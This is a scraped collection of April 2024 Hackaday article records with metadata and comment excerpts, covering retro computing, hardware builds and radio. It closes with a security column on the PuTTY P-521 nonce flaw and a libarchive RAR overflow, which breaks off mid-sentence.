Getting the disassembled version of the game was easy enough, as the
[Sonic Retro]
team has already done the heavy lifting there. The only snag there was that this was in WLA-DX assembler format, which is great if you just want to create a ROM for a Z80 system, but for the eZ80 you need a different assembler. Here
SPASM-ng
came to the rescue, as it targets both Z80 and eZ80-based Ti calculators in particular.
With those ducks aligned, the next task was to address the hardware differences. The calculator has no sound, so those routines had to go, and the color palettes of the Master System had to be mapped to that of the calculator. Since it’s a calculator, there were plenty of buttons for input, but ROM banking – which isn’t a thing on the Ti calculator – and the background and sprite rendering posed some issues. With that sorted, anyone with this calculator can now rejoice at having something better to play on their calculators than Snake in between heavy linear algebra sessions. | 4 | 3 | [
{
"comment_id": "6752071",
"author": "The Commenter Formerly Known As Ren",
"timestamp": "2024-04-21T18:16:48",
"content": "Recently I saw a thread on hpmuseum.org about someone who is reprogramming a TI 84 to be RPN.Here it is:https://www.hpmuseum.org/forum/thread-20867.html",
"parent_id": null... | 1,760,371,940.039118 | ||
https://hackaday.com/2024/04/21/an-open-source-gaming-mouse/ | An Open-Source Gaming Mouse | Jenny List | [
"Peripherals Hacks"
] | [
"gaming mouse",
"mouse"
] | It’s a shame, that peripherals sold as of higher performance for gaming so often deliver little but aggressive styling. [Wareya] became frustrated with the fragile switches on his choice of gaming mouse,
so decided to design his own
. In the video that he’s placed below the break, he takes us through all the many choices and pitfalls inherent to these devices
After quite a few iterations he arrived upon a design featuring an RP2040 and an optical sensor easily found in relatively inexpensive mice. The whole design is open source and
can be found in a GitHub repository
, but for us perhaps the most interesting part of the explanation lies in the use of a three-contact switch, and how the third contact is used to aid in debouncing. In an application in which latency is of paramount importance this is a key design feature of a gaming mouse.
Perhaps it’s a mark of how good computer mice are in general that we see so relatively few projects building them from scratch rather than modifying exiting ones, but despite that
a few have made it to these pages
. | 12 | 7 | [
{
"comment_id": "6751942",
"author": "stan423321",
"timestamp": "2024-04-21T08:19:36",
"content": "“Perhaps it’s a mark of how good computer mice are in general that we see so relatively few projects building them from scratch rather than modifying exiting (sic!) ones…” – with all due respect, no.I’... | 1,760,371,940.18511 | ||
https://hackaday.com/2024/04/20/trolling-ibms-quantum-processor-advantage-with-a-commodore-64/ | Trolling IBM’s Quantum Processor Advantage With A Commodore 64 | Maya Posch | [
"Science"
] | [
"commodore 64",
"Ising model",
"quantum computing"
] | The memory map of
the implementation, as set within the address space of the Commodore 64 – about 15kB of the accessible 64kB RAM is used.
There’s been a lot of fuss about the ‘quantum advantage’ that would arise from the use of quantum processors and quantum systems in general. Yet in this high-noise, high-uncertainty era of quantum computing it seems fair to say that the advantage part is a bit of a stretch. Most recently an
anonymous paper
(PDF, starts at page 199) takes IBM’s claims with its 127-bit Eagle quantum processor to its ludicrous conclusion by running the same Trotterized Ising model on the ~1 MHz MOS 6510 processor in a Commodore 64. (Worth noting: this paper was submitted to
Sigbovik,
the conference of the Association for Computational Heresy.)
We
previously covered
the same claims by IBM already getting walloped by another group of researchers (Tindall et al., 2024) using a tensor network on a classical computer. The anonymous submitter of the Sigbovik paper based their experiment on a
January 2024 research paper
by [Tomislav Begušić] and colleagues as published in
Science Advances
. These researchers also used a classical tensor network to run the IBM experiment many times faster and more accurately, which the anonymous researcher(s) took as the basis for a version that runs on the C64 in a mere 15 kB of RAM, with the code put on an Atmel AT28C256 ROM inside a cartridge which the C64 then ran from.
The same sparse Pauli dynamics algorithm was used as by [Tomislav Begušić] et al., with some limitations due to the limited amount of RAM, implementing it in 6502 assembly. Although the C64 is ~300,000x slower per datapoint than a modern laptop, it does this much more efficiently than the quantum processor, and without the high error rate. Yes, that means that a compute cluster of Commodore 64s can likely outperform a ‘please call us for a quote’ quantum system depending on which linear algebra problem you’re trying to solve. Quantum computers may yet have their application, but this isn’t it, yet.
Thanks to [Stephen Walters] and [Pio] for the tip. | 9 | 6 | [
{
"comment_id": "6751912",
"author": "Truth",
"timestamp": "2024-04-21T07:07:10",
"content": "“Of course, science is only valuable if it is replicable, so to support any replication studies of this work, source code will be available upon reasonable request to the author. In the spirit of SIGBOVIK, ... | 1,760,371,940.137237 | ||
https://hackaday.com/2024/04/20/am-radio-broadcast-uses-phasor-to-let-eight-towers-spray-one-big-signal/ | AM Radio Broadcast Uses Phasor To Let Eight Towers Spray One Big Signal | Lewin Day | [
"Radio Hacks"
] | [
"am",
"am radio",
"broadcasting",
"phasor"
] | If you’re in the commercial AM radio business, you want to send your signal as far and wide as possible. More listeners means you can make more ad revenue, after all. [Jeff Geerling] recently visited a tower site for WSDZ-AM, which uses a full eight towers to broadcast its 20kW AM signal. To do that,
it needs a phasor to keep everything in tune.
Or, uh… phase.
The phasor uses a bunch of variable inductors and capacitors to manage the phase of the signal fed to each tower. Basically, by varying the phase of the AM signal going to each of the 8 transmitter towers, it’s possible to tune the directionality of the tower array. This allows the station to ensure it’s only broadcasting to the area it’s legally licensed to do so.
The tower array is also configured to broadcast slightly differently during the day and at night to account for the differences in propagation that occur. A certain subset of the 8 towers are used for the day propagation pattern, while a different subset is used to shape the pattern for the night shift. AM signals can go far farther at night, so it’s important for stations to vary their output to avoid swamping neighbouring stations when the sun goes down.
[Jeff’s] video is a great tour of a working AM broadcast transmitter. If you’ve ever wondered about the hardware running your local commercial station, this is the insight you’re looking for. AM radio may be old-school,
but it continues to fascinate us to this day.
Video after the break. | 8 | 6 | [
{
"comment_id": "6751882",
"author": "The Commenter Formerly Known As Ren",
"timestamp": "2024-04-21T02:43:05",
"content": "I enjoy watching their videos, but I think the old man at times gets his thoughts too far ahead of what he’s saying, which leaves a gap in following his logic.But, then, maybe ... | 1,760,371,940.08345 | ||
https://hackaday.com/2024/04/20/solar-panel-keeps-cheap-digital-calipers-powered-up/ | Solar Panel Keeps Cheap Digital Calipers Powered Up | Dan Maloney | [
"Tool Hacks"
] | [
"calipers",
"digital",
"led",
"LR44",
"regulator",
"solar",
"voltage drop"
] | There’s no doubt that cheap digital calipers are useful, especially when designing 3D-printed parts. Unfortunately, cheap digital calipers are also cheap, and tend to burn through batteries quickly. Sure, you can remove the battery when you’re done using them, but that’s for suckers — winners turn to
solar power to keep their calipers always at the ready
.
[Johan]’s solar upgrade begins with, unsurprisingly, a solar cell, one that just fits on the back of his digital calipers. Like most of these cheap calipers, this one is powered by a single 1.5 V LR44 button cell, while the polycrystalline solar cell is rated for 5 V, so [Johan] used a red LED as a crude voltage regulator. He also added a stack of fourteen 100 μF SMD capacitors soldered together in parallel. The 1206 devices form a 1,400 μF block that’s smaller than the original button cell so that everything fits in the vacated battery compartment. It’s pretty slick.
Given their agreeable price point, digital calipers are a tempting target for hacking. We’ve seen a ton of them, from
accessibility add-ons
to
WiFi connectivity
and even
repurposing them for use as DROs
. Ever wonder how these things work?
We’ve looked at that
, too. | 40 | 18 | [
{
"comment_id": "6751848",
"author": "AZdave",
"timestamp": "2024-04-21T00:11:59",
"content": "Because LR44s are so expensive and a solar panel hanging by its wires is so convenient?",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6751857",
"author": ... | 1,760,371,940.26355 | ||
https://hackaday.com/2024/04/20/relatively-universal-rom-programmer-makes-retro-tech-hacking-accessible/ | Relatively Universal ROM Programmer Makes Retro Tech Hacking Accessible | Arya Voronova | [
"Repair Hacks",
"Retrocomputing",
"Tool Hacks"
] | [
"6502",
"65uino",
"eeprom",
"programmer",
"rom",
"W27C512"
] | There’s treasures hidden in old technology, and you deserve to be able to revive it. Whether it’s old personal computer platforms, vending machines, robot arms, or educational kits based on retro platforms, you will need to work with parallel EEPROM chips at some point. [Anders Nielsen] was about to do just that, when he found out that a TL866, a commonly used programmer kit for such ROMs, would cost entire $70 – significantly raising the budget of any parallel ROM-involving hacking. After months of work, he is happy to bring us a project – the
Relatively Universal ROM Programmer,
an open-source parallel ROM programmer board that you can easily assemble or buy.
Designed in the Arduino shield format, there’s a lot of care and love put into making this board as universal as reasonably possible, so that it fits any of the old flash chips you might want to flash – whether it’s an old UV-erasable ROM that wants a voltage up to 30 V to be written, or the newer 5 V-friendly chips. You can use ICs with pin count from 24 to 32 pins, it’s straightforward to use a ZIF socket with this board, there’s LED indication and silkscreen markings so that you can see and tweak the programming process, and it’s masterfully optimized for automated assembly.
You can breadboard this programmer platform
as we’ve previously covered
, you can assemble our own boards using
the open-source files,
and if you don’t want to do either, you can
buy the assembled boards
from [Anders Nielsen] too! The software is currently work in progress, since that’s part of the secret sauce that makes the $70 programmers tick. You do need to adjust the programming voltage manually, but that can be later improved with a small hardware fix. In total, if you just want to program a few ROM chips, this board saves you a fair bit of money. | 27 | 15 | [
{
"comment_id": "6751814",
"author": "Chris Dotson",
"timestamp": "2024-04-20T22:11:50",
"content": "This is great! If you just need to do a ROM or two, you may also be able to use flashrom with a network card like a 3C509b that has a socket and can program up to 128K ROMs. I just did that recentl... | 1,760,371,940.435921 | ||
https://hackaday.com/2024/04/20/let-the-solder-scroll-take-care-of-your-feed-needs/ | Let The Solder Scroll Take Care Of Your Feed Needs | Donald Papp | [
"Tool Hacks"
] | [
"3D printable",
"feeder",
"soldering",
"tool"
] | [Victor]’s nifty tool
the Solder Scroll
is a handheld device that lets one feed solder out simply by turning something a little like a scroll wheel. It looks like an intuitive and comfortable design that can adapt to a wide variety of solder thicknesses, and is entirely 3D printed.
One part we particularly like is the feed system. One rolls a wheel which feeds solder out using a mechanism a lot like extrusion gears in many 3D printer hot ends. Both wheels have ridged surfaces that grip and feed the solder; their gears mesh with one another so that moving one moves both in unison.
Solder feed tools like this have seen all kinds of interesting designs, because while the problem is the same for everyone, there are all kinds of different ways to go about addressing it. We love this one, and we have seen many other takes that range from
a powered, glove-mounted unit
to an extremely
simple tool with no moving parts
. We’ve even seen a method of
hacking a mechanical pencil
into a new role as a solder feeder. | 38 | 18 | [
{
"comment_id": "6751760",
"author": "Jan",
"timestamp": "2024-04-20T17:22:55",
"content": "I dont get it, what is wrong with the old fashioned way?To solder is like welding, its an art and craft.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6751777",
... | 1,760,371,940.34911 | ||
https://hackaday.com/2024/04/20/the-long-and-the-short-of-it/ | The Long And The Short Of It | Elliot Williams | [
"cons",
"Hackaday Columns",
"Rants"
] | [
"2024 hackaday europe",
"lightning talks",
"newsletter"
] | Last weekend was Hackaday Europe 2024, and it was great. Besides having some time to catch up with everyone, see some fun new badge hacks, and of course all the projects that folks brought along, I also had time to attend
most all of the talks
. And the talks were split into two distinct sections: long-format talks on Saturday and a two-hour session of seven-minute lightning talks on Sunday.
I don’t know if it’s our short attention spans, or the wide range of topics in a short period of time, but a number of people came up after the fact and said that they really appreciated the short-but-sweet format. One heretic even went so far as to suggest that we
only
have lightning talks in the future.
Well, we’ve done that before – the Hackaday Unconferences. One year, we even
ran three of them simultaneously
! I was at
Hackaday’s London Unconference
the year later, and it
was
a blast.
But I absolutely appreciate the longer talks too. Sometimes, you just have to give a speaker free rein to dig really deeply into a topic. When the scope of the project warrants it, there’s just no substitute for letting someone tell the whole story. So I see a place for both!
If you were at Hackaday Europe, or any other conference with a lightning talks track, what do you think? Long or short? Or a good mix?
This article is part of the Hackaday.com newsletter, delivered every seven days for each of the last 200+ weeks. It also includes our favorite articles from the last seven days that you can see on
the web version of the newsletter
.
Want this type of article to hit your inbox every Friday morning?
You should sign up
! | 11 | 5 | [
{
"comment_id": "6751753",
"author": "Aquahood",
"timestamp": "2024-04-20T16:55:12",
"content": "Couldn’t afford it I’m on medical leave…. I got unprovoked and attacked to the point of needing six surgeries I’ve had five out of the six and May 2nd I’m scheduled for starting on the track for the 6th ... | 1,760,371,940.495751 | ||
https://hackaday.com/2024/04/20/bad-experiences-with-a-cheap-wind-turbine/ | Bad Experiences With A Cheap Wind Turbine | Lewin Day | [
"green hacks"
] | [
"vertical axis wind turbine",
"Wind turbine",
"windmill"
] | If you’ve got a property with some outdoor space and plenty of wind, you might consider throwing up a windmill to generate some electricity. Indeed,
[The Broject List] did just that
. Only, his experience was a negative one, having purchased a cheap windmill online. He’s warning off others from suffering the same way by explaining what was so bad about the product he bought.
The windmill in question was described as a “VEVOR Windturbine”, which set him back around 100 euros, and claimed to be capable of producing 600 watts at 12 volts. He starts by showing how similar turbines pop up for sale all over the Internet, with wildly inflated specs that have no relation to reality. Some sellers even charge over 500 euros for the same basic device.
He then demonstrates the turbine operating at wind speeds of approximately 50 km/h. The output is dismal, a finding also shared by a number of other YouTube channels out there. Examining the construction of the wind turbine’s actual generator, he determines that it’s nowhere near capable of generating 600 watts. He notes the poorly-manufactured rotor and aluminium coils as particular disappointments. He concludes it could maybe generate 5 watts at most.
Sadly, it’s easy to fall into this trap when buying online. That’s where it pays to do your research before laying down your
hard-earned cash. | 44 | 17 | [
{
"comment_id": "6751696",
"author": "Manfred",
"timestamp": "2024-04-20T11:48:55",
"content": "Just buy the cheapest product from china. What can possibly go wrong?I’am powering my house with a 2000000mAh powerbank for 5$ and storing all my data on a 16TB SSD for 25$.",
"parent_id": null,
"... | 1,760,371,940.618737 | ||
https://hackaday.com/2024/04/20/3d-printer-streaming-solution-unlocks-webcam-features/ | 3D Printer Streaming Solution Unlocks Webcam Features | Bryan Cockfield | [
"3d Printer hacks",
"Software Hacks"
] | [
"Octoprint",
"rtmp",
"streaming",
"video",
"webcam",
"youtube"
] | While 3D printer hardware has come along way in the past decade and a half, the real development has been in the software. Open source slicers are constantly improving, and OctoPrint can turn even the most basic of printers into a network-connected powerhouse. But despite all these improvements, there’s still certain combinations of hardware that require a bit of manual work.
[Reticulated] wanted
an easy way to monitor his prints over streaming video
, but didn’t have any of the cameras that are supported by OctoPrint. Of course he could just point a cheap network-connected camera at the printer and be done with it, but he was looking for a bit better integration than that. In the process, he demonstrates how to unlock some features hidden in inexpensive webcams.
He set about building something that wouldn’t require buying more equipment or overloading the limited hardware responsible for the actual printing. A few of his existing cameras have RTMP support, which allows a fairly straightforward setup with YouTube Live once Monaserver is set up to handle the RTMP feeds from the cameras and OBS Studio is configured to stream it out to YouTube. Using the OctoPrint API, he was able to pull data such as the current extruder temperature and overlay it on the video.
One of the other interesting parts of this build is that not all of [Reticulated]’s cameras have built-in RTMP support but
following this guide
he was able to get more of them working with this setup than otherwise would have had this capability by default. Even beyond 3D printing, this is an excellent guide (and tip) for getting a quick live stream going for whatever reason. For anything more mobile than a working 3D printer, though,
you might want to look at taking your streaming setup mobile instead
. | 7 | 4 | [
{
"comment_id": "6751952",
"author": "Ewald",
"timestamp": "2024-04-21T09:06:01",
"content": "Interesting guide on how to find and use the video url on these chinese camera’s.As for the restreaming solution, I’ll just drop this here:https://opensource.com/article/23/3/raspberry-pi-streaming-server",... | 1,760,371,940.538249 | ||
https://hackaday.com/2024/04/19/building-a-giant-boardgame-isnt-easy/ | Building A Giant Boardgame Isn’t Easy | Lewin Day | [
"Games"
] | [
"activation",
"build",
"pi pico",
"Raspberry Pi Pico"
] | [Stevenson Streeper] is a maker, and was recently charged with a serious mission. He had to prototype, design, and build a board game. A software-controlled board game, that is, and one that was 400 square-feet in size. As you might imagine, this ended up being a tall order,
and he’s been kind enough to share his tale on his blog.
His client’s idea was for a giant interactive game board akin to the glowing disco floors of old. It had to play a game approximating the rules of “The Floor Is Lava.” It had to handle up to 20 players at a time, too.
[Stevenson] runs a company that delivers “Activations”—basically big showpieces for customers willing to pay. This wasn’t his first attempt at building an immersive attraction, but it was a big job, and a challenging one at that. He explains the difficulties that came about from a limited crew, limited timeline, and a number of difficult missteps. Hurdles included surprise unusable off-the-shelf hardware and the difficulty of hand-sanding 144 tiles of polycarbonate. One weeps for the project’s plight early on – if only the AliExpress tiles were documented.
He may have bitten off more than he could chew, and yet—the project was finished and to a decent degree of functionality success. That’s to be applauded, and [Stevenson] learned a ton along the way. Big projects can be daunting and can put you in a bind. As this story demonstrates, though,
perseverance often gets you somewhere okay in the end.
Video after the break. | 8 | 5 | [
{
"comment_id": "6751660",
"author": "Joshua",
"timestamp": "2024-04-20T07:55:46",
"content": "Size isn’t everything.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6751714",
"author": "Sword",
"timestamp": "2024-04-20T13:36:06",
"con... | 1,760,371,940.665866 | ||
https://hackaday.com/2024/04/19/measuring-an-unknown-velocity-factor/ | Measuring An Unknown Velocity Factor | Al Williams | [
"Radio Hacks"
] | [
"Coax",
"transmission line",
"tuning stubs",
"velocity factor"
] | When is the speed of light not the speed of light? Of course, that’s a trick question. The speed of light may be constant, but just as sound travels at different speeds in different media, electronic signals move through transmission lines at a reduced speed. When you have a known cable, you can look up the velocity factor and use it to approximate the length of cable to have a given effective length. But what if you don’t know what kind of cable you have? [More Than Electronics]
used a scope to measure it
. You can see what he did in the video below.
For example, RG-8/U has a factor of 0.77. Even air isn’t exactly a factor of 1, although it is close enough that, in practice, we pretend that it is. If you wonder why it matters, consider stubs. Suppose you have a 300 MHz signal (handy because that’s 1 meter in wavelength; well, OK, pick 299.792 MHz if you prefer). If you have a quarter wavelength piece of coax shorted at one end, it will attenuate signals at 300 MHz. To understand why, picture the wave on the stub. If the close end of the stub is at 0 volts, then the other end — because it is a quarter wavelength away — must be at the maximum positive voltage or the minimum negative voltage. If either of the extremes is at the close end, then the far end must be at zero volts. That means the maximum current flows only when the signal is at 300 MHz.
If there were no velocity factor, then the length of the stub would be easy to compute. Just take a quarter of a meter or 25 cm. However, since the signal slows down in real coax, the actual stub needs to be shorter by the velocity factor. So, a practical stub made with RG-58 would be about 16.5 cm. Of course, if you can measure the delay with a scope, as seen in the video, you can compute the velocity factor which is good if you don’t know it or you suspect a cable is a bit off.
We’ve looked at
velocity factor before
.
Stubs are more common at microwave frequencies
, but you can use coax to build them at lower frequencies, too. | 14 | 6 | [
{
"comment_id": "6751656",
"author": "Oliver",
"timestamp": "2024-04-20T07:39:33",
"content": "Lots of technical EE terms in this article. Would be nice for non native (English/EE) to get a simple translation :(",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": ... | 1,760,371,940.919451 | ||
https://hackaday.com/2024/04/19/end-of-life-for-z80-cpu-and-peripherals-announced/ | End-Of-Life For Z80 CPU And Peripherals Announced | Maya Posch | [
"News",
"Parts",
"Retrocomputing"
] | [
"z80",
"Zilog Z80"
] | In a Product Change Notification (PCN) published on April 15, Zilog (now owned by Littelfuse)
announced
the End of Life for a range of Z80 products, specifically virtually all of the
Z84C00
range. This also includes the peripherals, such as the Z84C10 range of MPUs. These are currently
already marked
as EoL on stores like Mouser, with Littelfuse noting that the last orders with them can be placed until June 14th of 2024. After that you’ll have to try your luck with shady EBay sellers and a lucky box of old-new-stock found in the back of a warehouse.
What this effectively means is that after just under 48 years since its launch in 1976, the Zilog Z80 will no longer be available for sale as discrete components, which is likely to primarily impact hobbyists and people who are trying to keep retro systems going. This does not mean that it’s the end of the road for Z80, however, as the
eZ80
will be produced for the foreseeable future.
These new chips will of course not come in easy to drop in DIPs, making the challenge of breadboarding your own Z80-based microcomputer that much tougher. Yet one thing that definitely won’t happen is any of us witnessing the end of the era of the Z80, 6502 and 8051 architectures.
Thanks to [Techokami] for the tip. | 57 | 16 | [
{
"comment_id": "6751589",
"author": "Capo",
"timestamp": "2024-04-19T23:19:18",
"content": "Oh no! How will I be able to wire wrap my Z80 machine while listening to my old vinyl LPs under my trusty Coleman kerosene lamp? What is next? Will they come for my vacuum tubes too? Wait! What?!",
"pare... | 1,760,371,941.067578 | ||
https://hackaday.com/2024/04/19/roboticizing-an-etch-a-sketch/ | Roboticizing An Etch-a-Sketch | Lewin Day | [
"classic hacks",
"Robots Hacks"
] | [
"etch a sketch",
"stepper motor"
] | The Etch-a-Sketch was a popular toy, but a polarizing one. You were either one of those kids that had the
knack
, or one of the kids that didn’t. [Micah] was pretty firmly in the latter group, so decided to roboticize the Etch-a-Sketch
so a computer could draw for him instead.
The build uses a pair of stepper motors attached to the Etch-a-Sketch’s knobs via 3D-printed adapters. It took [Micah] a few revisions to get the right design and the right motors for the job, but it all came together. A Raspberry Pi is charged with driving the motors to draw the desired picture.
Beyond the mechanics, [Micah] also does a great job of explaining the challenges around drawing and the drive software. Namely, the Etch-a-Sketch has a major limitation in that there’s no way to move the stylus without drawing a line. He accounts for this in his code for converting and drawing images.
The robot draws slowly but surely. The final result is incredibly impressive, and far exceeds what most of us could achieve on by hand.
We’ve seen some similar builds in the past, too.
Video after the break. | 7 | 5 | [
{
"comment_id": "6751547",
"author": "David",
"timestamp": "2024-04-19T20:14:23",
"content": "Etch-a-Sketch should’ve had “penup” and “pendown,” just to give turtles a “run” for their money.",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6751549",
"author"... | 1,760,371,940.864021 | ||
https://hackaday.com/2024/04/19/crystal-radio-kit-from-the-1970s/ | Crystal Radio Kit From The 1970s | Al Williams | [
"Radio Hacks"
] | [
"crystal radio",
"Len Buckwalter",
"modern radio laboratories"
] | If you read the December 1970 issue of
Mechanix Illustrated
, you’d be treated to [Len Buckwalter]’s crystal radio build. He called out Modern Radio Labs as the supplier for parts. That company, run by [Elmer Osterhoudt], got so many inquiries that he produced a kit, the #74 crystal set. [Michael Simpson] found an unopened kit on eBay and — after a bidding war,
took possession of the kit
. The kit looked totally untouched. The crystal detector was still in the box, and there were period-appropriate newspaper wrappings.
The kit itself isn’t that remarkable, but it is a classic. An oatmeal box serves as a coil form. There’s a capacitor, a crystal detector, and headphones. The original cost of the parts was $7, but we imagine the eBay auction exceeded that by a large amount.
If the name [Len Buckwalter] sounds familiar, he was quite
prolific in magazines
like
Electronics Illustrated
and also wrote several books about transistors. [Michael] also shows off his innovative coil winder made from plastic cups and a coat hanger.
We’d love to find some old kits like this, although, from one way of thinking, it is almost a shame to build them after all these years. With an added audio amplifier and fiddling with the cat whisker, it sounded just fine.
If you don’t like oatmeal, you could
fire up the 3D printer
. While the basic circuit is simple, you can make it
more complex if you like
. | 19 | 6 | [
{
"comment_id": "6751542",
"author": "alnwlsn",
"timestamp": "2024-04-19T20:02:36",
"content": "Elmer Osterhoudt / Modern Radio Labs is definitely worth a second look. He was sort of “the” crystal radio guy, and ran a small shop in his garage where he made and sold crystal radio components out of ev... | 1,760,371,940.976821 | ||
https://hackaday.com/2024/04/19/hackaday-podcast-episode-267-metal-casting-plasma-cutting-and-a-spicy-555/ | Hackaday Podcast Episode 267: Metal Casting, Plasma Cutting, And A Spicy 555 | Al Williams | [
"Hackaday Columns",
"Podcasts"
] | [
"Hackaday Podcast"
] | What were some of the best posts on Hackaday last week? Elliot Williams and Al Williams decided there were too many to choose from, but they did take a sampling of the ones that caught their attention. This week’s picks were an eclectic mix of everything from metal casting and plasma cutters to radio astronomy and space telescope budgets. In between? Some basic circuit design, 3D printing, games, dogs, and software tools. Sound confusing? It won’t be, after you listen to this week’s podcast.
Check out the links below if you want to follow along, and as always, tell us what you think about this episode in the comments!
Download an audiophile-quality oxygen-free MP3 file here
.
Where to Follow Hackaday Podcast
Places to follow Hackaday podcasts:
iTunes
Spotify
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YouTube
Check
out our Libsyn landing page
Episode 267 Show Notes:
News:
Hackaday Europe 2024 Is Live
VCF East 2024 Was Bigger And Better Than Ever
Getting Started With Blinking Lights On Old Iron
What’s that Sound?
This week, both hosts knew what the sound was, so there was no live guessing. How about you? You could win a Hackaday podcast T-shirt.
Fill out this form
with your best guess!
Interesting Hacks of the Week:
More Microwave Metal Casting
A Microwave Kiln, From Scratch
Melt metal in the microwave (video)
Microwave kilns (video)
Delays And Timers In LTSpice (no 555)
Congratulations Winners Of The 555 Timer Contest!
Hacked Oscilloscope Plays Breakout, Hints At More
Retro Gadgets: The 1983 Pocket Oscilloscope
Plasma Cutter On The Cheap Reviewed
Still Up And Coming: Non-Planar FDM 3D Printing With 3 Or 6 Axes
Prusa Mini Mod to convert it into nonplanar printing beast. by Mich
3D Printer Z Sensor Claims 0.01 Mm Resolution
Getting Started With Radio Astronomy
Citizen Scientist Radio Astronomy (and More): No Hardware Required
Quick Hacks:
Elliot’s Picks:
A ROG Ally Battery Mod You Ought To Try
Custom Dog Door Prevents Culinary Atrocities
Source Code To The 1999 FPS Game Descent 3 Released
Fail Of The Week: Can An Ultrasonic Cleaner Remove Bubbles From Resin?
Al’s Picks:
Git Good, By Playing A Gamified Version Of Git
The BBC Micro, Lovingly Simulated In VR
Recycling Wires For Breadboarding
Can’t-Miss Articles:
Chandra X-ray Observatory Threatened By Budget Cuts
Great Observatories program – Wikipedia
Lynx X-ray Observatory – Wikipedia
Logic Analyzers: Decoding And Monitoring
Hands On: Bus Pirate 5 | 3 | 3 | [
{
"comment_id": "6751532",
"author": "Dude",
"timestamp": "2024-04-19T19:23:03",
"content": "One of the points about why the 555 is so nice for home-brew synthesizers is that it’s a convenient schmitt-trigger block for oscillators – with the difference that you have the control input which allows yo... | 1,760,371,941.242577 | ||
https://hackaday.com/2024/04/19/ultra-tiny-wii-uses-custom-parts-and-looks-amazing/ | Ultra-Tiny Wii Uses Custom Parts And Looks Amazing | Lewin Day | [
"Nintendo Hacks",
"Nintendo Wii Hacks"
] | [
"nintendo",
"nintendo wii",
"wii"
] | The Nintendo Wii was never a large console. Indeed, it was smaller than both the Xbox 360, PlayStation 3, and most consoles of previous generations, too. That’s not to say it couldn’t be smaller, though. [loopj] has built what is perhaps the smallest Wii yet, which measures
roughly the same size as a deck of cards.
The best bit? The housing is even to scale!
There’s no emulation jiggery-pokery here. This build uses an original Wii motherboard that’s been cut down to the bare basics. Measuring just 62 mm by 62 mm, it features the CPU, GPU, RAM, and flash memory, while most of the extraneous hardware has been eliminated. Power and data is provided to the board from a special
Wii Power Strip PCB
, while the
Periphlex
flex PCB handles breaking out controller interfaces. Indeed, the build is nicknamed Short Stack as it’s built from a number of specialist PCBs for builds like this one. It also uses two boards designed by [YveltalGriffin] — the
fujiflex
for HDMI video output and the
nandFlex
to handle the Wii’s NAND memory chip.
[loopj] also had to design two further PCBs specifically for this build. One handles power, the micro SD card, HDMI connector, and controller ports. Meanwhile, the second handles the power, reset, and sync buttons along with status LEDs. Another neat hack of [loopj]’s own devising is using TRRS connectors in place of the original bulky GameCube controller ports.
Ultimately, it’s volume is just 7.4% that of an original Nintendo Wii. It’s probably possible to go smaller, too, says [loopj], so don’t expect things to end here. We’ve seen some other great Wii mods before, too,
like this excellent handheld design
. | 17 | 5 | [
{
"comment_id": "6751496",
"author": "a_do_z",
"timestamp": "2024-04-19T16:17:43",
"content": "So, a wee Wii?",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6751504",
"author": "H",
"timestamp": "2024-04-19T16:34:13",
"content": "A pi... | 1,760,371,941.201147 | ||
https://hackaday.com/2024/04/19/this-week-in-security-putty-keys-libarchive-and-palo-alto/ | This Week In Security: Putty Keys, Libarchive, And Palo Alto | Jonathan Bennett | [
"Hackaday Columns",
"News",
"Security Hacks"
] | [
"crypto",
"putty",
"This Week in Security"
] | It may be time to
rotate some keys
. The venerable PuTTY was updated to 0.81 this week, and the major fix was a change to how ecdsa-sha2-nistp521 signatures are generated. The problem
was reported on the oss-security mailing list
, and it’s quite serious, though thankfully with a somewhat narrow coverage.
The
PuTTY page on the vulnerability has the full details
. To understand what’s going on, we need to briefly cover ECDSA, nonces, and elliptic curve crypto. All cryptography depends on one-way functions. In the case of RSA, it’s multiplying large primes together. The multiplication is easy, but given just the final result, it’s extremely difficult to find the two factors. DSA uses a similar problem, the discrete logarithm problem: raising a number to a given exponent, then doing modulo division.
Yet another cryptography primitive is the elliptic curve, which uses point multiplication as the one-way function. I’ve described it as a mathematical pinball, bouncing around inside the curve. It’s reasonably easy to compute the final point, but essentially impossible to trace the path back to the origin. Formally this is the Elliptic Curve Discrete Logarithm Problem, and it’s not considered to be quantum-resistant, either.
One of the complete schemes is ECDSA, which combines the DSA scheme with Elliptic Curves. Part of this calculation uses a nonce, denoted “k”, a number that is only used once. In ECDSA, k must be kept secret, and any repetition of different messages with the same nonce can lead to rapid exposure of the secret key.
And now we get to PuTTY, which was written for Windows back before that OS had any good cryptographic randomness routines. As we’ve already mentioned, re-use of k, the nonce, is disastrous for DSA. So, PuTTY did something clever, and took the private key and the contents of the message to be signed, hashed those values together using SHA-512, then used modulo division to reduce the bit-length to what was needed for the given k value. The problem is the 521-bit ECDSA, which takes a 521-bit k. That’s even shorter than the output of a SHA-512, so the resulting k value always started with nine 0 bits.
You’d be forgiven for thinking that’s not enough to impact security, but the latest techniques mean that with the public key and about 60 valid signatures, the private key can be deduced. And this isn’t just PuTTY that’s impacted, since a few other Windows applications re-use the PuTTY code, like FileZilla, WinSCP and TortoiseGit/SVN. On the other hand, the break does require access to the public key, which isn’t readily available to a Man-in-the-Middle (MitM) attacker. The real danger is that using one of these
ecdsa-sha2-nistp521
keys to repeatedly log in to a compromised server would compromise the private key to a malicious actor on that server.
PuTTY 0.81, FileZilla 3.67.0, WinSCP 6.3.3 and TortoiseGit 2.15.0.1 are the updated versions, with TortoiseSVN coming soon. At this point, any
ecdsa-sha2-nistp521
key on a Windows machine should probably get revoked and recycled.
Quantum Enters the Chat
There are a few cryptography schemes that are considered to be quantum safe, most notably the new Kyber and Dilithium approaches, both employing one-way problems based on lattices. There’s a brand new paper by [Yilei Chen] that’s in pre-print, that
suggests a way to use quantum computing to solve the “Shortest Independent Vector Problem”
. Now let’s be clear, this paper does not claim to break Kyber or Dilithium, even with a theoretical quantum computer. But what it does claim is to present a quantum algorithm that applies to a similar problem space. And that’s enough to make the world’s cryptographers a bit nervous.
Libarchive Says Rar!
The setup for this one is that Windows includes Libarchive for extracting various archive types, including
.rar
files. These files are split up into blocks, with each block beginning with a header listing out the type and size of each block. Decompression is interesting, with the routine running a very simple VM to loop through the archive.
The problem is that when a block length is set to 4,
libarchive can be convinced to subtract 5, and overflow the loop counter to MAX_INT
